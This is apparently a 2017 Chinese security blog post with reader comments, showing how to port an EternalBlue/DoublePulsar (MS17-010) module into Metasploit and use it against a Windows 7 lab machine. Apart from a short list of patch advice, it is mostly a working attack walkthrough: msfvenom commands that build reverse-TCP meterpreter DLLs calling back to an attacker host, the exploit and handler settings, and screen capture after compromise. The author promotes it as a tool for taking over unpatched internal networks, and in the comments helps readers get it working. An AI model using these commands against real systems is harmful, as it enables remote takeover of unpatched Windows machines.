回归最本质的信息安全

内网大杀器!Metasploit移植MS17-010漏洞代码模块利用

2017年5月4日发布

72,174
17
1

导语:通过Metasploit实现MS17-010漏洞攻击,让它成为内网中的大杀器。

0x01 引言 

2017年4月,网络最为轰动的事件无疑是TheShadowBrokers放出一大批NSA(美国国家安全局)“方程式组织” (Equation Group)使用的极具破坏力的黑客工具,其中包括可以远程攻破全球约70%Windows机器的漏洞利用工具。一夜之间,全世界70%的windows服务器置于危险之中,国内使用windows服务器的高校、国企甚至政府机构也不能幸免。这对互联网无疑造成了一次大地震,因为已经很久没有出现过像MS17-010这种级别的漏洞了,因此就被大家笑语说出了“指哪打哪”这样一个事实。

受影响的Windows 版本包括Windows NT、Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8、Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等。

0x02 Eternalblue(MS17-010)漏洞介绍

漏洞原理详见:NSA Eternalblue SMB漏洞分析

0x03  MS17-010漏洞的危害及修复措施

1.升级到微软提供支持的Windows版本,并安装补丁:https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/

2.安装相关的防护措施,如缓冲区溢出防御软件、杀毒软件。

3.无补丁的Windows版本,临时关闭135、137、445端口和3389远程登录。

0x04  移植MS17-010漏洞利用代码模块

Metasploit集合了大量的系统漏洞利用代码,但并不是拥有所有的漏洞代码,所以Metasploit有一个非常强大的功能,它允许使用者开发自己的漏洞模块,MS17-010的漏洞利用模块Metasploit虽然还没有集成,但是网络上已经有相应的渗透模块了,这些模块可能是用各种语言编写的,比如perl、python等,Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。

当网络上Eternalblue漏洞烽烟四起,血流成河的时候,我在想为啥不把这个东西放到msf里去啊?现在外网服务器大部分都打补丁了,但是内网相对比较薄弱,打补丁的管理员肯定不会太多啊。那特么不就是内网一个大杀器么。正当我在构思代码要怎么撸的时候,瞄到了推特上一条消息。

图片1.png

还说什么,赶紧测试啊

Github:要地址点我

图片2.png

我那个激动啊,还看想毛线啊,赶紧看看人家怎么写的去测试啊!

首先我们把它克隆到我们本地

图片3.png

我们可以在里面修改一下一些默认的配置信息,(图片中标注的是默认文件地址)

图片4.png

修改完成后,我们将他放到metasploit的目录下供我们使用

(你想放哪里放哪里,这些都不重要,只要你记得住)

打开msf并重新加载全部文件

图片5.png

ok,加载完成后我们就可以读取到我们新添加进去的模块了

图片6.png

0x05 Metasploit下MS17-010漏洞提权实战利用

攻击机器kali:192.168.12.110

靶机win7 x32: 192.168.12.108

我们生成一个dll文件,是32位的系统就生成32位的dll,64位的系统就生成64位的系统,根据情况而定。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.12.110 lport=4444 -f dll -o /root/.wine/drive_c/eternal11.dll

打开msf,使用我们自己的模块

use exploit/windows/smb/eternalblue_doublepulsar

设置相关信息

set RHOST 192.168.12.108

我们需要设置payload来监听攻击成功后返回的shell

use exploit/multi/handler
set lhost 192.168.12.110
set lport 4444
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

设置完成后

图片7.png

执行Exploit

图片8.png

我们成功获取到了一个meterpreter会话

看一下对方ip

ifconfig

图片10.png

图片11.png

这个时候,我们就可以干一些坏坏的事情了,比如说看看屏幕、键盘记录等等,我就截取个屏幕吧

screenshot

图片9.png

0x05 总结

这个漏洞刚出来的时候基本上可以通杀百分之七十的外网windows服务器。截止到这会,根据我的内网测试结果,可以通杀百分之九十的Windows内网服务器。

如若转载,请注明原文地址: http://www.4hou.com/technology/4577.html

点赞 1
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

smileTT

smileTT

QQ群:617086434

发私信

发表评论

    捏捏nienie 2017-05-19 10:33

    你现在可以成功执行了吗,我还是不行,可以详细说一下你是怎样弄的吗,谢谢

    Onlss 2017-05-16 08:15

    最好修改一下ruby脚本的默认配置文件,把deps目录和ruby脚本放在metasploit的文件夹内。

    Onlss 2017-05-16 00:51

    不需要使用msfvenom创建dll,使用rm -rf .wine/ 删除wine然后再用wine cmd.exe重新加载它,进程使用lsass.exe即可。

    Onlss 2017-05-15 22:02

    我也是这个问题,反弹不了meterpreter,靶机的防火墙是关着的。

    捏捏nienie 2017-05-15 18:25

    我的也是Exploit completed, but no session was created这样子,求解,我试了我Windows server2003的也是不行,不知道为什么,win7也不行,我防火墙已经关了

    hyp3r 2017-05-15 17:05

    Exploit completed, but no session was created。。。

    owen 2017-05-14 18:17

    请问smile,如何生成一个64位的dll文件?

      smileTT
      smileTT 2017-05-20 11:36

      回复 @owen msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=0.0.0.0 -f dll -o ~/X.dll

    yxyx 2017-05-11 15:22

    我复制代码,之后添加到框架中 显示这样的错误是怎么回事?
    /usr/share/metasploit-framework/modules/exploits/zz.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (zz from /usr/share/metasploit-framework/modules/exploits/zz.rb) due to Missing compatible Metasploit<major_version> class constant

      smileTT
      smileTT 2017-05-11 15:56

      回复 @yxyx 我觉得你可以试一下在把你的zz.rb在往深的放,放在exploit/windows/smb/zz.rb这个下面,要么就是你的msf版本太老了,下个最新版本试一下

        yxyx 2017-05-11 16:18

        回复 @smileTT 你的版本是多少啊?

          smileTT
          smileTT 2017-05-11 16:20

          回复 @yxyx 4.14

            yxyx 2017-05-11 16:24

            回复 @smileTT 哦哦 那我试一下,我的是4.11 你把代码直接加载到框架里面就可以用吗,需要配置些别的东西吗